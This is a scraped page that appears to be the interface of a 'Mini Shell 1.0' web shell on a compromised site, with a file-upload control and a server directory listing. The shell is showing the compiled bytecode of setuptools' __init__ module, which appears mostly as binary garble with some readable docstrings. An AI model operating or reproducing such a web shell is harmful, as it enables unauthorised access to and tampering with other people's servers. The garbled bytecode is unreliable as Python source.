HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/setuptools/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/setuptools/__pycache__/__init__.cpython-311.pyc
�

���c�#���dZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZ
ddlmZddlZddlmZddlmZdd	lmZdd
lmZmZddlmZddlmZgd
�Zejj Z dZ!ej"Z#ej"Z$d�Z%d�Z&d�Z'ej(j'je'_ej)ej(j*��Z+Gd�de+��Z*d�Z,ej-fd�Z.ej/e
��d���ZGd�de0��Z1ej2��dS)z@Extensions to the 'distutils' for large or complex distributions�N)�DistutilsOptionError)�convert_path�)�SetuptoolsDeprecationWarning)�	Extension)�Distribution)�Require)�
PackageFinder�PEP420PackageFinder)�monkey)�logging)�setupr�Commandrr	r�
find_packages�find_namespace_packagesc��Gd�dtjj��}||��}|�d���|jrt|��dSdS)Nc�4��eZdZdZ�fd�Zd�fd�	Zd�Z�xZS)�4_install_setup_requires.<locals>.MinimalDistributionzl
        A minimal version of a distribution for supporting the
        fetch_build_eggs interface.
        c�����d}�fd�t|��t���zD��}t���|��|j���dS)N)�dependency_links�setup_requiresc�"��i|]}|�|��S�r)�.0�k�attrss  ��5/usr/lib/python3/dist-packages/setuptools/__init__.py�
<dictcomp>zQ_install_setup_requires.<locals>.MinimalDistribution.__init__.<locals>.<dictcomp>8s���E�E�E���5��8�E�E�E�)�set�super�__init__�set_defaults�_disable)�selfr�_incl�filtered�	__class__s `  �rr"z=_install_setup_requires.<locals>.MinimalDistribution.__init__6sf����8�E�E�E�E�E�S��Z�Z�#�e�*�*�-D�E�E�E�H��G�G���X�&�&�&���&�&�(�(�(�(�(rNc�~��	t���|��\}}|dfS#t$r|dfcYSwxYw)zAIgnore ``pyproject.toml``, they are not related to setup_requiresr)r!� _split_standard_project_metadata�	Exception)r%�	filenames�cfg�tomlr(s    �r�_get_project_config_fileszN_install_setup_requires.<locals>.MinimalDistribution._get_project_config_files=sW���
%�!�G�G�D�D�Y�O�O�	��T��B�w����
%�
%�
%� �"�}�$�$�$�
%���s�'+�<�<c��dS)zl
            Disable finalize_options to avoid building the working set.
            Ref #2158.
            Nr)r%s r�finalize_optionszE_install_setup_requires.<locals>.MinimalDistribution.finalize_optionsEs���r�N)�__name__�
__module__�__qualname__�__doc__r"r/r1�
__classcell__�r(s@r�MinimalDistributionr0so�������	�	�
	)�	)�	)�	)�	)�	%�	%�	%�	%�	%�	%�	�	�	�	�	�	�	rr9T)�ignore_option_errors)�	distutils�corer�parse_config_filesr�_fetch_build_eggs)rr9�dists   r�_install_setup_requiresr@-s��������i�n�9����6��u�%�%�D�	�����6�6�6��� ��$������ � rc��	|�|j��dS#t$rU}d}d|jjvr?t|d��r|�|��n|�d|�d����d}~wwxYw)Na�
        It is possible a package already installed in your system
        contains an version that is invalid according to PEP 440.
        You can try `pip install --use-pep517` as a workaround for this problem,
        or rely on a new virtual environment.

        If the problem refers to a package that is not installed yet,
        please contact that package's maintainers or distributors.
        �InvalidVersion�add_note�
)�fetch_build_eggsrr+r(r3�hasattrrC�announce)r?�ex�msgs   rr>r>Ss�������d�1�2�2�2�2�2���������r�|�4�4�4��r�:�&�&�
,����C� � � � ��
�
�l�3�l�l�l�+�+�+�
��������s��
A=�AA8�8A=c�r�tj��t|��tjjdi|��S)Nr)r
�	configurer@r;r<r)rs rrrhs8��������E�"�"�"��>��(�(�%�(�(�(rc�<��eZdZdZdZ�fd�Zd	d�Zd�Zd
d�Z�xZ	S)ra�

    Setuptools internal actions are organized using a *command design pattern*.
    This means that each action (or group of closely related actions) executed during
    the build should be implemented as a ``Command`` subclass.

    These commands are abstractions and do not necessarily correspond to a command that
    can (or should) be executed via a terminal, in a CLI fashion (although historically
    they would).

    When creating a new command from scratch, custom defined classes **SHOULD** inherit
    from ``setuptools.Command`` and implement a few mandatory methods.
    Between these mandatory methods, are listed:

    .. method:: initialize_options(self)

        Set or (reset) all options/attributes/caches used by the command
        to their default values. Note that these values may be overwritten during
        the build.

    .. method:: finalize_options(self)

        Set final values for all options/attributes used by the command.
        Most of the time, each option/attribute/cache should only be set if it does not
        have any value yet (e.g. ``if self.attr is None: self.attr = val``).

    .. method:: run(self)

        Execute the actions intended by the command.
        (Side effects **SHOULD** only take place when ``run`` is executed,
        for example, creating new files or writing to the terminal output).

    A useful analogy for command classes is to think of them as subroutines with local
    variables called "options".  The options are "declared" in ``initialize_options()``
    and "defined" (given their final values, aka "finalized") in ``finalize_options()``,
    both of which must be defined by every command class. The "body" of the subroutine,
    (where it does all the work) is the ``run()`` method.
    Between ``initialize_options()`` and ``finalize_options()``, ``setuptools`` may set
    the values for options/attributes based on user's input (or circumstance),
    which means that the implementation should be careful to not overwrite values in
    ``finalize_options`` unless necessary.

    Please note that other commands (or other parts of setuptools) may also overwrite
    the values of the command's options/attributes multiple times during the build
    process.
    Therefore it is important to consistently implement ``initialize_options()`` and
    ``finalize_options()``. For example, all derived attributes (or attributes that
    depend on the value of other attributes) **SHOULD** be recomputed in
    ``finalize_options``.

    When overwriting existing commands, custom defined classes **MUST** abide by the
    same APIs implemented by the original class. They also **SHOULD** inherit from the
    original class.
    Fc���t���|��t|���|��dS)zj
        Construct the command for dist, updating
        vars(self) with any keyword parameters.
        N)r!r"�vars�update)r%r?�kwr(s   �rr"zCommand.__init__�s=���
	����������T�
�
���"�����rNc	��t||��}|�t|||��|St|t��st	d|�d|�d|�d����|S)N�'z' must be a z (got `z`))�getattr�setattr�
isinstance�strr)r%�option�what�default�vals     r�_ensure_stringlikezCommand._ensure_stringlike�sq���d�F�#�#���;��D�&�'�*�*�*��N��C��%�%�	�&�&�28�&�&�$�$�$����D���
��
rc�6�t||��}|�dSt|t��r&t||t	jd|����dSt|t��rtd�|D����}nd}|std|�d|�d����dS)a�Ensure that 'option' is a list of strings.  If 'option' is
        currently a string, we split it either on /,\s*/ or /\s+/, so
        "foo bar baz", "foo,bar,baz", and "foo,   bar baz" all become
        ["foo", "bar", "baz"].

        ..
           TODO: This method seems to be similar to the one in ``distutils.cmd``
           Probably it is just here for backward compatibility with old Python versions?

        :meta private:
        Nz,\s*|\s+c3�@K�|]}t|t��V��dSr2)rUrV)r�vs  r�	<genexpr>z-Command.ensure_string_list.<locals>.<genexpr>�s,����9�9���A�s�+�+�9�9�9�9�9�9rFrRz!' must be a list of strings (got �))	rSrUrVrT�re�split�list�allr)r%rWrZ�oks    r�ensure_string_listzCommand.ensure_string_list�s����d�F�#�#���;��F�
��S�
!�
!�
	��D�&�"�(�;��"<�"<�=�=�=�=�=��#�t�$�$�
��9�9�S�9�9�9�9�9������
�*�*�AG������M����
�
rrc��t�|||��}t|���|��|Sr2)�_Command�reinitialize_commandrNrO)r%�command�reinit_subcommandsrP�cmds     rrizCommand.reinitialize_command�s9���+�+�D�'�;M�N�N���S�	�	��������
rr2)r)
r3r4r5r6�command_consumes_argumentsr"r[rfrir7r8s@rrrus��������4�4�l"'�������	�	�	�	����6�������rrc��d�tj|d���D��}ttjj|��S)z%
    Find all files under 'path'
    c3�hK�|]-\}}}|D]$}tj�||��V��%�.dSr2)�os�path�join)r�base�dirs�files�files     rr_z#_find_all_simple.<locals>.<genexpr>�sc�������D�$�����
�	����T�4� � �������rT)�followlinks)rp�walk�filterrq�isfile)rq�resultss  r�_find_all_simpler|�sE����!#���4�!@�!@�!@����G�
�"�'�.�'�*�*�*rc���t|��}|tjkr5tjtjj|���}t||��}t|��S)z�
    Find all files under 'dir' and return the list of full filenames.
    Unless dir is '.', return full filenames with dir prepended.
    )�start)	r|rp�curdir�	functools�partialrq�relpath�maprc)�dirru�make_rels   r�findallr��sR��

�S�!�!�E�
�b�i����$�R�W�_�C�@�@�@���H�e�$�$����;�;�rc�v�ddlm}d}tj||��t��t|��S)Nr)�cleandocz�
    The function `convert_path` is considered internal and not part of the public API.
    Its direct usage by 3rd-party packages is considered deprecated and the function
    may be removed in the future.
    )�inspectr��warnings�warnr�
_convert_path)�pathnamer�rIs   rrr�sF�� � � � � � ��C�

�M�(�(�3�-�-�!=�>�>�>���"�"�"rc��eZdZdZdS)�sicz;Treat this string as-is (https://en.wikipedia.org/wiki/Sic)N)r3r4r5r6rrrr�r�s������E�E�E�Err�)3r6r�rprar��_distutils_hack.override�_distutils_hack�distutils.corer;�distutils.errorsr�distutils.utilrr��_deprecation_warningr�setuptools.version�
setuptools�setuptools.extensionr�setuptools.distr�setuptools.dependsr	�setuptools.discoveryr
r�rr
�__all__�version�__version__�bootstrap_install_from�findrrr@r>rr<�
get_unpatchedrrhr|rr��wrapsrVr��	patch_allrrr�<module>r�s]��F�F�����	�	�	�	�	�	�	�	�������������1�1�1�1�1�1�8�8�8�8�8�8�>�>�>�>�>�>�����*�*�*�*�*�*�(�(�(�(�(�(�&�&�&�&�&�&�C�C�C�C�C�C�C�C�������������	�	�	��� �,�����"�
�-�2��# �# �# �L���*)�)�)���$�,��
� �6��	�� 6�7�7��j�j�j�j�j�h�j�j�j�Z	+�	+�	+��	�	�	�	�	�������	#�	#� ��	#�F�F�F�F�F�#�F�F�F�
�������r